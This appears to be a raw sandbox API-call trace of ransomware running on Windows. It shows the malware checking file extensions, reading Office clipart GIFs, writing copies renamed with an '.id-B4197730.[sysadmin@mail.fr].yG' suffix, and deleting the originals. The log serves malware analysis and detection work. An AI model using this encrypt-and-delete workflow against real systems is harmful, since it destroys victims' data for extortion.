	[0051.954] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.954] lstrlenW (lpString=".rar") returned 4
	[0051.954] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.954] lstrlenW (lpString=".bz2") returned 4
	[0051.954] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.954] lstrlenW (lpString=".7z") returned 3
	[0051.954] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0051.954] lstrlenW (lpString=".dbf") returned 4
	[0051.954] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0051.954] lstrlenW (lpString=".1cd") returned 4
	[0051.954] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0051.954] lstrlenW (lpString=".jpg") returned 4
	[0051.954] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.954] lstrcmpiW (lpString1=".GIF", lpString2=".yG") returned -1
	[0051.954] lstrlenW (lpString="AG00167_.GIF") returned 12
	[0051.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0051.954] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=4894) returned 1
	[0051.954] CloseHandle (hObject=0x2f4) returned 1
	[0051.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif")) returned 0x220
	[0051.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0051.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0051.955] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.955] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0051.955] GetLastError () returned 0x0
	[0051.955] ReadFile (in: hFile=0x2f4, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x131e, lpOverlapped=0x0) returned 1
	[0051.996] WriteFile (in: hFile=0x394, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x1320, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x1320, lpOverlapped=0x0) returned 1
	[0052.039] ReadFile (in: hFile=0x2f4, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0052.039] WriteFile (in: hFile=0x394, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1
	[0052.039] SetEndOfFile (hFile=0x394) returned 1
	[0052.039] CloseHandle (hObject=0x394) returned 1
	[0052.042] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.042] SetEndOfFile (hFile=0x2f4) returned 1
	[0052.047] CloseHandle (hObject=0x2f4) returned 1
	[0052.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0052.048] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif")) returned 1
	[0052.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0052.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0052.048] lstrlenW (lpString=".doc") returned 4
	[0052.048] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0052.048] lstrlenW (lpString=".docx") returned 5
	[0052.048] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0052.048] lstrlenW (lpString=".pdf") returned 4
	[0052.048] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0052.049] lstrlenW (lpString=".xls") returned 4
	[0052.049] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0052.049] lstrlenW (lpString=".xlsx") returned 5
	[0052.049] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0052.049] lstrlenW (lpString=".ppt") returned 4
	[0052.049] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0052.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0052.049] lstrlenW (lpString=".zip") returned 4
	[0052.049] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0052.049] lstrlenW (lpString=".rar") returned 4
	[0052.049] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0052.049] lstrlenW (lpString=".bz2") returned 4
	[0052.049] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0052.049] lstrlenW (lpString=".7z") returned 3
	[0052.049] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0052.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0052.049] lstrlenW (lpString=".dbf") returned 4
	[0052.049] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0052.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0052.049] lstrlenW (lpString=".1cd") returned 4
	[0052.049] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0052.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0052.049] lstrlenW (lpString=".jpg") returned 4
	[0052.049] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0052.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0052.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0052.049] lstrlenW (lpString=".doc") returned 4
	[0052.049] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0052.049] lstrlenW (lpString=".docx") returned 5
	[0052.049] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0052.049] lstrlenW (lpString=".pdf") returned 4
	[0052.049] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0052.049] lstrlenW (lpString=".xls") returned 4
	[0052.049] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0052.049] lstrlenW (lpString=".xlsx") returned 5
	[0052.049] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0052.049] lstrlenW (lpString=".ppt") returned 4
	[0052.050] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0052.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0052.050] lstrlenW (lpString=".zip") returned 4
	[0052.050] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0052.050] lstrlenW (lpString=".rar") returned 4
	[0052.050] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0052.050] lstrlenW (lpString=".bz2") returned 4
	[0052.050] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0052.050] lstrlenW (lpString=".7z") returned 3
	[0052.050] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0052.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0052.050] lstrlenW (lpString=".dbf") returned 4
	[0052.050] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0052.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0052.050] lstrlenW (lpString=".1cd") returned 4
	[0052.050] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0052.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0052.050] lstrlenW (lpString=".jpg") returned 4
	[0052.050] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0052.050] lstrcmpiW (lpString1=".GIF", lpString2=".yG") returned -1
	[0052.050] lstrlenW (lpString="AG00171_.GIF") returned 12
	[0052.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0052.053] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=5016) returned 1
	[0052.053] CloseHandle (hObject=0x2f4) returned 1
	[0052.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif")) returned 0x220
	[0052.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0052.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0052.053] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.053] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0052.054] GetLastError () returned 0x0
	[0052.054] ReadFile (in: hFile=0x2f4, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x1398, lpOverlapped=0x0) returned 1
	[0052.090] WriteFile (in: hFile=0x388, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x13a0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x13a0, lpOverlapped=0x0) returned 1
	[0052.091] ReadFile (in: hFile=0x2f4, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0052.091] WriteFile (in: hFile=0x388, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1
	[0052.091] SetEndOfFile (hFile=0x388) returned 1
	[0052.191] CloseHandle (hObject=0x388) returned 1
	[0052.192] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.192] SetEndOfFile (hFile=0x2f4) returned 1
	[0052.193] CloseHandle (hObject=0x2f4) returned 1
	[0052.193] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0052.193] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif")) returned 1
	[0052.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0052.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0052.194] lstrlenW (lpString=".doc") returned 4
	[0052.194] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0052.194] lstrlenW (lpString=".docx") returned 5
	[0052.194] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0052.194] lstrlenW (lpString=".pdf") returned 4
	[0052.194] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0052.194] lstrlenW (lpString=".xls") returned 4
	[0052.194] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0052.194] lstrlenW (lpString=".xlsx") returned 5
	[0052.194] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0052.194] lstrlenW (lpString=".ppt") returned 4
	[0052.194] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0052.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0052.194] lstrlenW (lpString=".zip") returned 4
	[0052.194] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0052.194] lstrlenW (lpString=".rar") returned 4
	[0052.194] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0052.194] lstrlenW (lpString=".bz2") returned 4
	[0052.194] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0052.194] lstrlenW (lpString=".7z") returned 3
	[0052.194] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0052.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0052.194] lstrlenW (lpString=".dbf") returned 4
	[0052.194] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0052.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0052.194] lstrlenW (lpString=".1cd") returned 4
	[0052.194] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0052.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0052.194] lstrlenW (lpString=".jpg") returned 4
	[0052.194] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0052.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0052.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0052.195] lstrlenW (lpString=".doc") returned 4
	[0052.195] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0052.195] lstrlenW (lpString=".docx") returned 5
	[0052.195] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0052.195] lstrlenW (lpString=".pdf") returned 4
	[0052.195] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0052.195] lstrlenW (lpString=".xls") returned 4
	[0052.195] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0052.195] lstrlenW (lpString=".xlsx") returned 5
	[0052.195] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0052.195] lstrlenW (lpString=".ppt") returned 4
	[0052.195] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0052.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0052.195] lstrlenW (lpString=".zip") returned 4
	[0052.195] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0052.195] lstrlenW (lpString=".rar") returned 4
	[0052.195] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0052.195] lstrlenW (lpString=".bz2") returned 4
	[0052.195] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0052.195] lstrlenW (lpString=".7z") returned 3
	[0052.195] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0052.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0052.195] lstrlenW (lpString=".dbf") returned 4
	[0052.195] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0052.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0052.195] lstrlenW (lpString=".1cd") returned 4
	[0052.195] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0052.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0052.195] lstrlenW (lpString=".jpg") returned 4
	[0052.195] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0052.195] lstrcmpiW (lpString1=".GIF", lpString2=".yG") returned -1
	[0052.196] lstrlenW (lpString="AG00176_.GIF") returned 12
	[0052.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0052.196] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=3120) returned 1
	[0052.196] CloseHandle (hObject=0x2f4) returned 1
	[0052.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif")) returned 0x220
	[0052.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0052.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0052.197] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.197] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0052.197] GetLastError () returned 0x0
	[0052.197] ReadFile (in: hFile=0x2f4, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0xc30, lpOverlapped=0x0) returned 1
	[0052.269] WriteFile (in: hFile=0x388, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xc40, lpOverlapped=0x0) returned 1
	[0052.270] ReadFile (in: hFile=0x2f4, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0052.270] WriteFile (in: hFile=0x388, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1
	[0052.270] SetEndOfFile (hFile=0x388) returned 1
	[0052.271] CloseHandle (hObject=0x388) returned 1
	[0052.271] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.271] SetEndOfFile (hFile=0x2f4) returned 1
	[0052.272] CloseHandle (hObject=0x2f4) returned 1
	[0052.272] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0052.272] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif")) returned 1
	[0052.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0052.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0052.273] lstrlenW (lpString=".doc") returned 4
	[0052.273] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0052.273] lstrlenW (lpString=".docx") returned 5
	[0052.273] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0052.273] lstrlenW (lpString=".pdf") returned 4
	[0052.273] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0052.273] lstrlenW (lpString=".xls") returned 4
	[0052.273] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0052.273] lstrlenW (lpString=".xlsx") returned 5
	[0052.273] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0052.273] lstrlenW (lpString=".ppt") returned 4
	[0052.273] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0052.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0052.273] lstrlenW (lpString=".zip") returned 4
	[0052.273] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0052.273] lstrlenW (lpString=".rar") returned 4
	[0052.273] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0052.274] lstrlenW (lpString=".bz2") returned 4
	[0052.274] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0052.274] lstrlenW (lpString=".7z") returned 3
	[0052.274] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0052.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0052.274] lstrlenW (lpString=".dbf") returned 4
	[0052.274] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0052.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0052.274] lstrlenW (lpString=".1cd") returned 4
	[0052.274] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0052.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0052.274] lstrlenW (lpString=".jpg") returned 4
	[0052.274] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0052.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0052.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0052.274] lstrlenW (lpString=".doc") returned 4
	[0052.274] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0052.274] lstrlenW (lpString=".docx") returned 5
	[0052.274] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0052.274] lstrlenW (lpString=".pdf") returned 4
	[0052.274] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0052.274] lstrlenW (lpString=".xls") returned 4
	[0052.274] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0052.274] lstrlenW (lpString=".xlsx") returned 5
	[0052.274] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0052.274] lstrlenW (lpString=".ppt") returned 4
	[0052.274] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
